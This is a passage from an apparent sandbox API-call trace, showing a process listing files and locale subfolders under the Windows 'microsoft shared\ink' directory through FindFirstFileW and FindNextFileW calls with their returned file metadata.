(in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2bfcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0148.154] GetLastError () returned 0x12 [0148.154] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x32e18, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0148.154] GetLastError () returned 0x12 [0148.154] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da3ec5f, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7bf3d600, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0148.154] GetLastError () returned 0x12 [0148.154] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dab1374, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0148.154] GetLastError () returned 0x12 [0148.154] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9f27a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0148.154] GetLastError () returned 0x12 [0148.154] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d9f27a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0148.154] GetLastError () returned 0x12 [0148.155] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x80b88a00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0148.155] GetLastError () returned 0x12 [0148.155] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1af9c24, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1af9c24, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x30d3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0148.155] GetLastError () returned 0x12 [0148.155] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0148.155] GetLastError () returned 0x12 [0148.155] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da8b116, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0148.155] GetLastError () returned 0x12 [0148.155] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x80b88a00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0148.155] GetLastError () returned 0x12 [0148.155] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dab1374, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0148.155] GetLastError () returned 0x12 [0148.156] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da18a06, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7f875d00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0148.156] GetLastError () returned 0x12 [0148.156] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x2c6cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0148.156] GetLastError () returned 0x12 [0148.156] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7e563000, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0148.156] GetLastError () returned 0x12 [0148.156] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da8b116, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe.mui", cAlternateFileName="")) returned 1 [0148.156] GetLastError () returned 0x12 [0148.156] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ffe6194, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7c896e00, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0148.156] GetLastError () returned 0x12 [0148.156] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.156] GetLastError () returned 0x12 [0148.157] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0148.157] GetLastError () returned 0x12 [0148.157] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dad75cd, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x7d250300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0148.158] FindClose (in: hFindFile=0x819470 | out: hFindFile=0x819470) returned 1 [0148.158] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4530088 | out: hHeap=0x23a0000) returned 1 [0148.158] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0148.158] GetLastError () returned 0x12 [0148.158] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x819470 [0148.158] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.158] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.158] GetLastError () returned 0x12 [0148.159] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.159] FindClose (in: hFindFile=0x819470 | out: hFindFile=0x819470) returned 1 [0148.159] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4530088 | out: hHeap=0x23a0000) returned 1 [0148.159] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-MX", cAlternateFileName="")) returned 1 [0148.159] GetLastError () returned 0x12 [0148.159] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x819470 [0148.159] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.159] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2a46df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2a46df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2a46df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.159] GetLastError () returned 0x12 [0148.159] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2a46df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2a46df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2a46df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.159] FindClose (in: hFindFile=0x819470 | out: hFindFile=0x819470) returned 1 [0148.160] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4530088 | out: hHeap=0x23a0000) returned 1 [0148.160] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et-EE", cAlternateFileName="")) returned 1 [0148.160] GetLastError () returned 0x12 [0148.160] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x819470 [0148.160] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.160] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.160] GetLastError () returned 0x12 [0148.160] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.160] FindClose (in: hFindFile=0x819470 | out: hFindFile=0x819470) returned 1 [0148.161] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4530088 | out: hHeap=0x23a0000) returned 1 [0148.161] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0148.161] GetLastError () returned 0x12 [0148.161] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x819470 [0148.161] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.161] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.161] GetLastError () returned 0x12 [0148.161] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e100c60, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e100c60, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e100c60, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.161] FindClose (in: hFindFile=0x819470 | out: hFindFile=0x819470) returned 1 [0148.161] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4530088 | out: hHeap=0x23a0000) returned 1 [0148.161] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0148.161] GetLastError () returned 0x12 [0148.162] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd121ea9a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd121ea9a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xc4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0148.162] GetLastError () returned 0x12 [0148.162] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0635c03, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1 